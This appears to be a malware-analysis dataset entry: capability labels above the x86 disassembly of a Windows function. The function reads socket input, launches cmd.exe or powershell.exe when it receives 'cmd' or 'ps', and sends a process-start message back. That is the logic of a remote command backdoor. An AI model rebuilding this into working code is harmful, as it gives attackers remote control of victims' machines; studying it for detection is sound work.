Function at 0x4013e0
Capabilities:
Execute command
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403096
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401270
test al, al
jne 0x401444
mov dword [ebp - 0x434], 4
mov dword [ebp - 0x430], 0
nop word [eax + eax]
lea ecx, [ebp - 0x434]
call fcn.00401bf0
call fcn.00401270
test al, al
je 0x401430
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Done
push 0x401bc0
call fcn.004019a0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0x400
lea eax, [ebp - 0x410]
push eax
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4014b8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_receiving_data
push 0x401bc0
call fcn.004019a0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 5
push str.Error
jmp 0x4014c0
push eax
lea eax, [ebp - 0x410]
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x428]
mov dword [ebp - 0x414], 0
movups xmmword [ebp - 0x428], xmm0
call fcn.00401d10
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x428]
mov edi, dword [ebp - 0x414]
cmp edi, 0xf
mov esi, dword [ebp - 0x428]
mov edx, dword [ebp - 0x418]
cmova ecx, esi
mov dword [ebp - 0x468], esi
cmp edx, 3
jne 0x40153c
cmp word [ecx], 0x6d63
jne 0x40153c
cmp byte [ecx + 2], 0x64
jne 0x40153c
push str.cmd.exe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x42c], eax
jmp 0x401573
cmp edi, 0xf
lea eax, [ebp - 0x428]
cmova eax, esi
cmp edx, 2
jne 0x40156d
mov ecx, 0x7370
cmp word [eax], cx
jne 0x40156d
push str.powershell.exe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x42c], eax
jmp 0x401573
mov eax, dword [ebp - 0x42c]
test eax, eax
je 0x4017a8
mov edx, eax
lea ecx, [ebp - 0x464]
call fcn.00401840
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x450]
mov eax, ecx
mov edx, dword [ebp - 0x454]
sub eax, edx
cmp eax, 0x14
jb 0x401634
cmp ecx, 0xf
lea esi, [ebp - 0x464]
lea eax, [edx + 0x14]
cmova esi, dword [ebp - 0x464]
mov dword [ebp - 0x454], eax
cmp esi, 0x4042dc
jae 0x4015e6
lea eax, [esi + edx]
cmp eax, str.Procces_start__Id__
jb 0x4015e6
cmp esi, str.Procces_start__Id__
ja 0x4015dc
xor edi, edi
jmp 0x4015eb
mov edi, esi
sub edi, str.Procces_start__Id__
jmp 0x4015eb
mov edi, 0x14
lea eax, [edx + 1]
push eax
lea ecx, [esi + 0x14]
push esi
push ecx
call sub.VCRUNTIME140.dll_memmove
push edi
push str.Procces_start__Id__
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x14
sub eax, edi
push eax
lea eax, [edi + 0x4042dc]
push eax
lea eax, [esi + edi]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [ebp - 0x468]
lea eax, [ebp - 0x464]
mov edi, dword [ebp - 0x414]
add esp, 0x24
jmp 0x401653
push 0x14
sub esp, 8
mov byte [ebp - 0x430], 0
lea ecx, [ebp - 0x464]
push dword [ebp - 0x430]
push 0x14
call fcn.00401eb0
mov dword [ebp - 0x43c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x44c], xmm0
mov dword [ebp - 0x438], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x43c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x44c]
cmp dword [ebp - 0x438], 0xf
push 0
push dword [ebp - 0x43c]
cmova eax, dword [ebp - 0x44c]
push eax
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4016fa
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_sending_data
push 0x401bc0
call fcn.004019a0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x438]
cmp ecx, 0xf
jbe 0x401738
mov edx, dword [ebp - 0x44c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40172e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017e4
push ecx
push edx
call fcn.00402037
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x450]
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0xf
mov byte [ebp - 0x44c], 0
cmp ecx, 0xf
jbe 0x40178d
mov edx, dword [ebp - 0x464]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401783
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017e4
push ecx
push edx
call fcn.00402037
add esp, 8
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x450], 0xf
mov byte [ebp - 0x464], 0
mov dword [ebp - 4], 0xffffffff
cmp edi, 0xf
jbe 0x401461
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4017d5
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017e4
push ecx
push esi
call fcn.00402037
add esp, 8
jmp 0x401461
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3